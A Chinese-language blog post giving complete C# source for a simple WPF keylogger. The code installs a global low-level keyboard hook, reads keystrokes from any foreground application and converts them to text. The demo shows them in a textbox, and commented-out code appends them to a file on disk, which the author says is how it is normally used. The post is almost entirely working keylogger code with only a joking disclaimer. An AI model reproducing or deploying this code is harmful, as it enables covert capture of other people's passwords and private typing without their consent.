很简单的一个wpf键盘记录器
这个程序我一样用了全局勾子,之前用的都是winform上运行了,前一段时间
在国外的论坛上逛看到了一个wpf能用的就做了一个小程序记录一下,为了方便大家直关的看我在页面上放了一个textbox,
用的时候不会这样一般都是保存到一个文本里呵呵不能做坏事
有三个主要的类
/// <summary>
/// Raw keyevent handler.
/// </summary>
/// <param name="sender">sender</param>
/// <param name="args">raw keyevent arguments</param>
public
delegate
void
RawKeyEventHandler(
object
sender, RawKeyEventArgs args);
#region WINAPI Helper class
/// <summary>
/// Winapi Key interception helper class.
/// </summary>
internal
static
class
InterceptKeys
{
public
delegate
IntPtr LowLevelKeyboardProc(
int
nCode, UIntPtr wParam, IntPtr lParam);
public
static
int
WH_KEYBOARD_LL = 13;
/// <summary>
/// Key event
/// </summary>
public
enum
KeyEvent :
int
{
/// <summary>
/// Key down
/// </summary>
WM_KEYDOWN = 256,
/// <summary>
/// Key up
/// </summary>
WM_KEYUP = 257,
/// <summary>
/// System key up
/// </summary>
WM_SYSKEYUP = 261,
/// <summary>
/// System key down
/// </summary>
WM_SYSKEYDOWN = 260
}
public
static
IntPtr SetHook(LowLevelKeyboardProc proc)
{
using
(Process curProcess = Process.GetCurrentProcess())
using
(ProcessModule curModule = curProcess.MainModule)
{
return
SetWindowsHookEx(WH_KEYBOARD_LL, proc, GetModuleHandle(curModule.ModuleName), 0);
}
}
[DllImport(
"user32.dll"
, CharSet = CharSet.Auto, SetLastError =
true
)]
public
static
extern
IntPtr SetWindowsHookEx(
int
idHook, LowLevelKeyboardProc lpfn, IntPtr hMod,
uint
dwThreadId);
[DllImport(
"user32.dll"
, CharSet = CharSet.Auto, SetLastError =
true
)]
[
return
: MarshalAs(UnmanagedType.Bool)]
public
static
extern
bool
UnhookWindowsHookEx(IntPtr hhk);
[DllImport(
"user32.dll"
, CharSet = CharSet.Auto, SetLastError =
true
)]
public
static
extern
IntPtr CallNextHookEx(IntPtr hhk,
int
nCode, UIntPtr wParam, IntPtr lParam);
[DllImport(
"kernel32.dll"
, CharSet = CharSet.Auto, SetLastError =
true
)]
public
static
extern
IntPtr GetModuleHandle(
string
lpModuleName);
#region Convert VKCode to string
// Note: Sometimes single VKCode represents multiple chars, thus string.
// E.g. typing "^1" (notice that when pressing 1 the both characters appear,
// because of this behavior, "^" is called dead key)
[DllImport(
"user32.dll"
)]
private
static
extern
int
ToUnicodeEx(
uint
wVirtKey,
uint
wScanCode,
byte
[] lpKeyState, [Out, MarshalAs(UnmanagedType.LPWStr)] System.Text.StringBuilder pwszBuff,
int
cchBuff,
uint
wFlags, IntPtr dwhkl);
[DllImport(
"user32.dll"
)]
private
static
extern
bool
GetKeyboardState(
byte
[] lpKeyState);
[DllImport(
"user32.dll"
)]
private
static
extern
uint
MapVirtualKeyEx(
uint
uCode,
uint
uMapType, IntPtr dwhkl);
[DllImport(
"user32.dll"
, CharSet = CharSet.Auto, ExactSpelling =
true
)]
private
static
extern
IntPtr GetKeyboardLayout(
uint
dwLayout);
[DllImport(
"User32.dll"
)]
private
static
extern
IntPtr GetForegroundWindow();
[DllImport(
"User32.dll"
)]
private
static
extern
uint
GetWindowThreadProcessId(IntPtr hWnd,
out
uint
lpdwProcessId);
[DllImport(
"user32.dll"
)]
private
static
extern
bool
AttachThreadInput(
uint
idAttach,
uint
idAttachTo,
bool
fAttach);
[DllImport(
"kernel32.dll"
)]
private
static
extern
uint
GetCurrentThreadId();
private
static
uint
lastVKCode = 0;
private
static
uint
lastScanCode = 0;
private
static
byte
[] lastKeyState =
new
byte
[255];
private
static
bool
lastIsDead =
false
;
/// <summary>
/// Convert VKCode to Unicode.
/// <remarks>isKeyDown is required for because of keyboard state inconsistencies!</remarks>
/// </summary>
/// <param name="VKCode">VKCode</param>
/// <param name="isKeyDown">Is the key down event?</param>
/// <returns>String representing single unicode character.</returns>
public
static
string
VKCodeToString(
uint
VKCode,
bool
isKeyDown)
{
// ToUnicodeEx needs StringBuilder, it populates that during execution.
System.Text.StringBuilder sbString =
new
System.Text.StringBuilder(5);
byte
[] bKeyState =
new
byte
[255];
bool
bKeyStateStatus;
bool
isDead =
false
;
// Gets the current windows window handle, threadID, processID
IntPtr currentHWnd = GetForegroundWindow();
uint
currentProcessID;
uint
currentWindowThreadID = GetWindowThreadProcessId(currentHWnd,
out
currentProcessID);
// This programs Thread ID
uint
thisProgramThreadId = GetCurrentThreadId();
// Attach to active thread so we can get that keyboard state
if
(AttachThreadInput(thisProgramThreadId, currentWindowThreadID,
true
))
{
// Current state of the modifiers in keyboard
bKeyStateStatus = GetKeyboardState(bKeyState);
// Detach
AttachThreadInput(thisProgramThreadId, currentWindowThreadID,
false
);
}
else
{
// Could not attach, perhaps it is this process?
bKeyStateStatus = GetKeyboardState(bKeyState);
}
// On failure we return empty string.
if
(!bKeyStateStatus)
return
""
;
// Gets the layout of keyboard
IntPtr HKL = GetKeyboardLayout(currentWindowThreadID);
// Maps the virtual keycode
uint
lScanCode = MapVirtualKeyEx(VKCode, 0, HKL);
// Keyboard state goes inconsistent if this is not in place. In other words, we need to call above commands in UP events also.
if
(!isKeyDown)
return
""
;
// Converts the VKCode to unicode
int
relevantKeyCountInBuffer = ToUnicodeEx(VKCode, lScanCode, bKeyState, sbString, sbString.Capacity, (
uint
)0, HKL);
string
ret =
""
;
switch
(relevantKeyCountInBuffer)
{
// Dead keys (^,`...)
case
-1:
isDead =
true
;
// We must clear the buffer because ToUnicodeEx messed it up, see below.
ClearKeyboardBuffer(VKCode, lScanCode, HKL);
break
;
case
0:
break
;
// Single character in buffer
case
1:
ret = sbString[0].ToString();
break
;
// Two or more (only two of them is relevant)
case
2:
default
:
ret = sbString.ToString().Substring(0, 2);
break
;
}
// We inject the last dead key back, since ToUnicodeEx removed it.
// More about this peculiar behavior see e.g:
if
(lastVKCode != 0 && lastIsDead)
{
System.Text.StringBuilder sbTemp =
new
System.Text.StringBuilder(5);
ToUnicodeEx(lastVKCode, lastScanCode, lastKeyState, sbTemp, sbTemp.Capacity, (
uint
)0, HKL);
lastVKCode = 0;
return
ret;
}
// Save these
lastScanCode = lScanCode;
lastVKCode = VKCode;
lastIsDead = isDead;
lastKeyState = (
byte
[])bKeyState.Clone();
return
ret;
}
private
static
void
ClearKeyboardBuffer(
uint
vk,
uint
sc, IntPtr hkl)
{
System.Text.StringBuilder sb =
new
System.Text.StringBuilder(10);
int
rc;
do
{
byte
[] lpKeyStateNull =
new
Byte[255];
rc = ToUnicodeEx(vk, sc, lpKeyStateNull, sb, sb.Capacity, 0, hkl);
}
while
(rc < 0);
}
#endregion Convert VKCode to string
}
#endregion WINAPI Helper class
|
public
class
KeyboardListener : IDisposable
{
/// <summary>
/// Creates global keyboard listener.
/// </summary>
public
KeyboardListener()
{
// Dispatcher thread handling the KeyDown/KeyUp events.
this
.dispatcher = Dispatcher.CurrentDispatcher;
// We have to store the LowLevelKeyboardProc, so that it is not garbage collected runtime
hookedLowLevelKeyboardProc = (InterceptKeys.LowLevelKeyboardProc)LowLevelKeyboardProc;
// Set the hook
hookId = InterceptKeys.SetHook(hookedLowLevelKeyboardProc);
// Assign the asynchronous callback event
hookedKeyboardCallbackAsync =
new
KeyboardCallbackAsync(KeyboardListener_KeyboardCallbackAsync);
}
private
Dispatcher dispatcher;
/// <summary>
/// Destroys global keyboard listener.
/// </summary>
~KeyboardListener()
{
Dispose();
}
/// <summary>
/// Fired when any of the keys is pressed down.
/// </summary>
public
event
RawKeyEventHandler KeyDown;
/// <summary>
/// Fired when any of the keys is released.
/// </summary>
public
event
RawKeyEventHandler KeyUp;
#region Inner workings
/// <summary>
/// Hook ID
/// </summary>
private
IntPtr hookId = IntPtr.Zero;
/// <summary>
/// Asynchronous callback hook.
/// </summary>
/// <param name="character">Character</param>
/// <param name="keyEvent">Keyboard event</param>
/// <param name="vkCode">VKCode</param>
private
delegate
void
KeyboardCallbackAsync(InterceptKeys.KeyEvent keyEvent,
int
vkCode,
string
character);
/// <summary>
/// Actual callback hook.
///
/// <remarks>Calls asynchronously the asyncCallback.</remarks>
/// </summary>
/// <param name="nCode"></param>
/// <param name="wParam"></param>
/// <param name="lParam"></param>
/// <returns></returns>
[MethodImpl(MethodImplOptions.NoInlining)]
private
IntPtr LowLevelKeyboardProc(
int
nCode, UIntPtr wParam, IntPtr lParam)
{
string
chars =
""
;
if
(nCode >= 0)
if
(wParam.ToUInt32() == (
int
)InterceptKeys.KeyEvent.WM_KEYDOWN ||
wParam.ToUInt32() == (
int
)InterceptKeys.KeyEvent.WM_KEYUP ||
wParam.ToUInt32() == (
int
)InterceptKeys.KeyEvent.WM_SYSKEYDOWN ||
wParam.ToUInt32() == (
int
)InterceptKeys.KeyEvent.WM_SYSKEYUP)
{
// Captures the character(s) pressed only on WM_KEYDOWN
chars = InterceptKeys.VKCodeToString((
uint
)Marshal.ReadInt32(lParam),
(wParam.ToUInt32() == (
int
)InterceptKeys.KeyEvent.WM_KEYDOWN ||
wParam.ToUInt32() == (
int
)InterceptKeys.KeyEvent.WM_SYSKEYDOWN));
hookedKeyboardCallbackAsync.BeginInvoke((InterceptKeys.KeyEvent)wParam.ToUInt32(), Marshal.ReadInt32(lParam), chars,
null
,
null
);
}
return
InterceptKeys.CallNextHookEx(hookId, nCode, wParam, lParam);
}
/// <summary>
/// Event to be invoked asynchronously (BeginInvoke) each time key is pressed.
/// </summary>
private
KeyboardCallbackAsync hookedKeyboardCallbackAsync;
/// <summary>
/// Contains the hooked callback in runtime.
/// </summary>
private
InterceptKeys.LowLevelKeyboardProc hookedLowLevelKeyboardProc;
/// <summary>
/// HookCallbackAsync procedure that calls accordingly the KeyDown or KeyUp events.
/// </summary>
/// <param name="keyEvent">Keyboard event</param>
/// <param name="vkCode">VKCode</param>
/// <param name="character">Character as string.</param>
private
void
KeyboardListener_KeyboardCallbackAsync(InterceptKeys.KeyEvent keyEvent,
int
vkCode,
string
character)
{
switch
(keyEvent)
{
// KeyDown events
case
InterceptKeys.KeyEvent.WM_KEYDOWN:
if
(KeyDown !=
null
)
dispatcher.BeginInvoke(
new
RawKeyEventHandler(KeyDown),
this
,
new
RawKeyEventArgs(vkCode,
false
, character));
break
;
case
InterceptKeys.KeyEvent.WM_SYSKEYDOWN:
if
(KeyDown !=
null
)
dispatcher.BeginInvoke(
new
RawKeyEventHandler(KeyDown),
this
,
new
RawKeyEventArgs(vkCode,
true
, character));
break
;
// KeyUp events
case
InterceptKeys.KeyEvent.WM_KEYUP:
if
(KeyUp !=
null
)
dispatcher.BeginInvoke(
new
RawKeyEventHandler(KeyUp),
this
,
new
RawKeyEventArgs(vkCode,
false
, character));
break
;
case
InterceptKeys.KeyEvent.WM_SYSKEYUP:
if
(KeyUp !=
null
)
dispatcher.BeginInvoke(
new
RawKeyEventHandler(KeyUp),
this
,
new
RawKeyEventArgs(vkCode,
true
, character));
break
;
default
:
break
;
}
}
#endregion Inner workings
#region IDisposable Members
/// <summary>
/// Disposes the hook.
/// <remarks>This call is required as it calls the UnhookWindowsHookEx.</remarks>
/// </summary>
public
void
Dispose()
{
InterceptKeys.UnhookWindowsHookEx(hookId);
}
#endregion IDisposable Members
}
|
/// <summary>
/// Raw KeyEvent arguments.
/// </summary>
public
class
RawKeyEventArgs : EventArgs
{
/// <summary>
/// VKCode of the key.
/// </summary>
public
int
VKCode;
/// <summary>
/// WPF Key of the key.
/// </summary>
public
Key Key;
/// <summary>
/// Is the hitted key system key.
/// </summary>
public
bool
IsSysKey;
/// <summary>
/// Convert to string.
/// </summary>
/// <returns>Returns string representation of this key, if not possible empty string is returned.</returns>
public
override
string
ToString()
{
return
Character;
}
/// <summary>
/// Unicode character of key pressed.
/// </summary>
public
string
Character;
/// <summary>
/// Create raw keyevent arguments.
/// </summary>
/// <param name="VKCode"></param>
/// <param name="isSysKey"></param>
/// <param name="Character">Character</param>
public
RawKeyEventArgs(
int
VKCode,
bool
isSysKey,
string
Character)
{
this
.VKCode = VKCode;
this
.IsSysKey = isSysKey;
this
.Character = Character;
this
.Key = System.Windows.Input.KeyInterop.KeyFromVirtualKey(VKCode);
}
}
|
codebehind
KeyboardListener _KeyListener =
new
KeyboardListener();
bool
_isRuning =
false
;
public
MainWindow()
{
InitializeComponent();
this
.Loaded += Window_Loaded;
}
public
void
BeginListen(
object
sender, RoutedEventArgs e)
{
_isRuning =
true
;
}
public
void
StopListen(
object
sender, RoutedEventArgs e)
{
_isRuning =
false
;
}
private
void
Window_Loaded(
object
sender, RoutedEventArgs e)
{
_KeyListener.KeyDown +=
new
RawKeyEventHandler(KListener_KeyDown);
}
StringBuilder _sb =
new
StringBuilder();
private
void
KListener_KeyDown(
object
sender, RawKeyEventArgs args)
{
if
(!_isRuning)
return
;
tb_keyText.Text += args.ToString();
//if (args.Key == Key.Enter)
//{
// Write(_sb.ToString());
// _sb.Clear();
//}
//else
//{
// _sb.Append(args.ToString());
//}
//Console.WriteLine(args.ToString());
}
private
void
Write(
string
keyEvents)
{
try
{
StreamWriter sw =
new
StreamWriter(
"D:/keyReport.txt"
,
true
);
sw.WriteLine(keyEvents);
sw.Close();
}
catch
(Exception Exception)
{
}
}
private
void
Window_Closing(
object
sender, System.ComponentModel.CancelEventArgs e)
{
_KeyListener.Dispose();
}